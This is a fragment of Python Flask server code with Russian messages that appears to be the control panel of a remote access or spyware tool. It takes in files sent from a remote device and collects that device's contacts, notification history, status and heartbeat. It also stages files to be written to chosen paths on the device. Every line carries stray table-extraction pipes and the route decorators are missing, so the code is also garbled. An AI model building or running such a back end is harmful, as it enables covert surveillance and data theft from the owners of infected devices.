last_client_heartbeat = datetime.datetime.utcnow().isoformat() + "Z" | |
if 'file' not in request.files: | |
command_output = "Ошибка на сервере: Файл не был отправлен клиентом." | |
return jsonify({'status': 'error', 'message': 'No file part'}) | |
file = request.files['file'] | |
if file.filename == '': | |
command_output = "Ошибка на сервере: Клиент отправил файл без имени." | |
return jsonify({'status': 'error', 'message': 'No selected file'}) | |
if file: | |
filename = werkzeug.utils.secure_filename(file.filename) | |
filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename) | |
counter = 0 | |
base_name, ext = os.path.splitext(filename) | |
while os.path.exists(filepath): | |
counter += 1 | |
filename = f"{base_name}_{counter}{ext}" | |
filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename) | |
try: | |
file.save(filepath) | |
origin_command_type = request.form.get("origin_command_type", "unknown") | |
if origin_command_type == "request_download_file": | |
command_output = f"Файл '{filename}' успешно загружен С клиента." | |
return jsonify({'status': 'success', 'filename': filename}) | |
except Exception as e: | |
command_output = f"Ошибка сохранения файла от клиента: {str(e)}" | |
return jsonify({'status': 'error', 'message': str(e)}) | |
def get_status_output_route(): | |
global command_output, last_client_heartbeat, current_client_path, device_status_info, notifications_history, contacts_list | |
return jsonify({ | |
'output': command_output, | |
'last_heartbeat': last_client_heartbeat, | |
'current_path': current_client_path, | |
'device_status': device_status_info, | |
'notifications': notifications_history, | |
'contacts': contacts_list | |
}) | |
def uploaded_file_from_client(filename): | |
return send_from_directory(app.config['UPLOAD_FOLDER'], filename, as_attachment=True) | |
def list_uploaded_files_route(): | |
files = [] | |
try: | |
for f_name in os.listdir(app.config['UPLOAD_FOLDER']): | |
if os.path.isfile(os.path.join(app.config['UPLOAD_FOLDER'], f_name)): | |
files.append(f_name) | |
except Exception: | |
pass | |
return jsonify({'files': sorted(files, key=lambda f: os.path.getmtime(os.path.join(app.config['UPLOAD_FOLDER'], f)), reverse=True)}) | |
def upload_to_server_for_client_route(): | |
global file_to_send_to_client, command_output | |
if 'file_to_device' not in request.files: | |
return jsonify({'status': 'error', 'message': 'No file_to_device part in request'}), 400 | |
file = request.files['file_to_device'] | |
target_path_on_device = request.form.get('target_path_on_device') | |
if file.filename == '': | |
return jsonify({'status': 'error', 'message': 'No selected file for_device'}), 400 | |
if not target_path_on_device: | |
return jsonify({'status': 'error', 'message': 'Target path on device not specified'}), 400 | |
if file: | |
original_filename = werkzeug.utils.secure_filename(file.filename) | |
server_side_filename = str(uuid.uuid4()) + "_" + original_filename | |
filepath_on_server = os.path.join(app.config['FILES_TO_CLIENT_FOLDER'], server_side_filename) | |
try: | |
file.save(filepath_on_server) | |
command_output = f"Файл {original_filename} загружен на сервер, готов к отправке клиенту в {target_path_on_device}." | |
return jsonify({ | |
'status': 'success', | |
'server_filename': server_side_filename, | |
'original_filename': original_filename, | |
'target_path_on_device': target_path_on_device | |
}) | |
except Exception as e: | |
return jsonify({'status': 'error', 'message': f'Server error saving file for client: {str(e)}'}), 500 | |
return jsonify({'status': 'error', 'message': 'File processing failed on server'}), 500 | |
def download_to_client(filename): | |
return send_from_directory(app.config['FILES_TO_CLIENT_FOLDER'], filename, as_attachment=True) | |
if __name__ == '__main__': | |
app.run(host='0.0.0.0', port=7860, debug=False) |